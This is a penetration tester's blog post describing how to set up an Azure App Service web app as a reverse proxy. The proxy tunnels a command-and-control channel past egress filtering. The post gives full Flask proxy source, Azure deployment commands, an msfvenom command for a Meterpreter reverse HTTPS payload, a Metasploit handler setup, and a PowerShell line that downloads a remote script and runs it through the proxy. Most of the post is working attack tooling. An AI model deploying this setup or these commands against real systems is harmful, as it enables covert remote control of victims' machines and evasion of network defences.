Using Microsoft Azure App Services to Evade Network Filtering and Establish a C2 channel
During a recent Remote Desktop Breakout assessment on a system with egress filtering enabled, I discovered that traffic to certain Microsoft-related endpoints, such as *.azurewebsites.net
and *.blob.core.windows.net
, was allowed (unfortunately *.cloudapp.azure.com was blocked).
Side note: pyautogui can be really handy in remote breakout assessments, check out this script that simulates keyboard typing of whatever is in the clipboard
After a quick sanity check, I decided it was worth checking whether I could set up a web app as a reverse proxy and establish a C2 channel over HTTP(S), since I had already found a way to bypass the AV. After some trial and error, I finally managed to obtain a session.
In this post, I’ve taken things a step further by adding a file download feature to the same web app that acts as the reverse proxy, making it easier to deliver and execute the payload on the remote system.
High level overview:

Create the App Service from the Azure Portal
After logging into the Azure Portal, create a new Web App under App Services. I’ll be using Python because I like its flexibility and it makes adding new features or checks easier if needed.

After the resource is created, there are a few things we need to configure before deploying the code. First, if you want the web app to handle and forward HTTP traffic in addition to HTTPS, make sure the "HTTPS Only" setting is set to "Off" under "Configuration":

I will deploy the code using a ZIP file. In that case, according to the official documentation, we need to enable "build automation". Among other things, this ensures that Azure will install the python dependencies from our "requirements.txt" file. Build automation can be enabled by adding the following environment variable:

App Service source code
This is the code I'll be using for the web app:
from flask import Flask, request, Response
import requests
app = Flask(__name__)
domain = "c2.blindsecurity.gr"
payloaduri = "payload124867931"
downloaduri = "download124867931"
ALLOWED_METHODS = ["GET", "POST", "PUT", "DELETE", "PATCH", "OPTIONS", "HEAD"]
def proxy_request(target_url):
try:
# Forward headers, excluding 'Host' to avoid conflicts
headers = {k: v for k, v in request.headers.items() if k.lower() != 'host'}
resp = requests.request(
method=request.method,
url=target_url,
headers=headers,
data=request.get_data(),
params=request.args,
cookies=request.cookies,
verify=False,
allow_redirects=False
)
excluded_headers = {'content-encoding', 'transfer-encoding', 'content-length', 'connection'}
response_headers = [(k, v) for k, v in resp.headers.items() if k.lower() not in excluded_headers]
return Response(resp.content, status=resp.status_code, headers=response_headers)
except Exception as e:
#return Response(f"Error: {str(e)}", status=500)
return Response("Internal Server Error", status=500)
@app.route('/', defaults={'path': ''}, methods=ALLOWED_METHODS)
@app.route('/<path:path>', methods=ALLOWED_METHODS)
def catch_all(path):
return Response("Access Denied", status=403)
@app.route(f'/{downloaduri}', methods=ALLOWED_METHODS)
def proxydownload():
url = request.args.get('url')
if not url:
return "Missing 'url' parameter", 400
return proxy_request(url)
@app.route(f'/{payloaduri}/', defaults={'path': ''}, methods=ALLOWED_METHODS)
@app.route(f'/{payloaduri}/<path:path>', methods=ALLOWED_METHODS)
def proxy(path):
protocol = request.headers.get('X-Forwarded-Proto', 'http')
scheme = 'https' if protocol == 'https' else 'http'
target_url = f"{scheme}://{domain}/{payloaduri}/{path}"
return proxy_request(target_url)
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000)
You can download remote files from direct links using a request like this:
https://apiservice3-ggeqhzheh8gtajex.westeurope-01.azurewebsites.net/download124867931?url=http://c2.blindsecurity.gr:8080/out.ps1
For the C2 communication, the web app will only forward requests that it receives on a specific path, in this case
/payload124867931
. This effectively acts as a filter to prevent irrelevant traffic from reaching our C2 server. Any other request will result to an Access Denied (403) response.Replace the
domain
anduri
values as needed. While we can use an IP address, using a domain is more convenient because we can simply update the DNS record if needed. Otherwise, updating the IP would require redeploying the app.In case there is an error, e.g. the C2 server is not listening or the domain cannot be resolved, the application will simply respond with Internal Server Error (500). You could uncomment line 34 to get a detailed message for debugging purposes.
You can use
python3 app.py
to run the app locally to test it before deployment.
Save the source code in a file named app.py
and create a requirements.txt
file in the same folder with the following content:
Flask
requests
Deploy the web app to Azure
Open a terminal on the same folder with app.py
and requirements.txt
and run the following commands:
zip deployment.zip app.py requirements.txt
az login
az webapp deploy --name apiservice3 --resource-group test --src-path deployment.zip
Deployment might take a minute, but hopefully it will complete without errors. If you get errors during deployment, they are most likely caused by file formatting issues (e.g. blank lines in the requirements.txt
file).
If everything goes well, you should see something like the following when visiting the web app URL:

Demo
Now that our app is ready to accept requests and forward them, we can configure Metasploit.
Payloads can be generated using a command like below, you just need to define the Azure web app URL and the payloaduri
path specified on the source code. I will be using a stageless HTTPS payload:
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=apiservice3-ggeqhzheh8gtajex.westeurope-01.azurewebsites.net LURI=/payload124867931 LPORT=443 -f psh-net -o out.ps1

A command like the following can be used to start the server:
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter_reverse_https; set lport 443; set lhost c2.blindsecurity.gr; set luri /payload124867931; set exitonsession false; exploit -j"

In order to take advantage of the file download functionality that is implemented in our web app, we can use the following command to execute the payload:
IEX(iwr -uri 'https://apiservice3-ggeqhzheh8gtajex.westeurope-01.azurewebsites.net/download124867931?url=http://c2.blindsecurity.gr:8080/out.ps1' -usebasicparsing)

After triggering the payload, we get a session:

The source IP indeed belongs to Microsoft:

Conclusion
Even though this is not an ideal C2 channel, and tunneling through it would be very slow or maybe unusable, it can definitely be helpful in situations where egress filtering is applied and there are no other options.
Last updated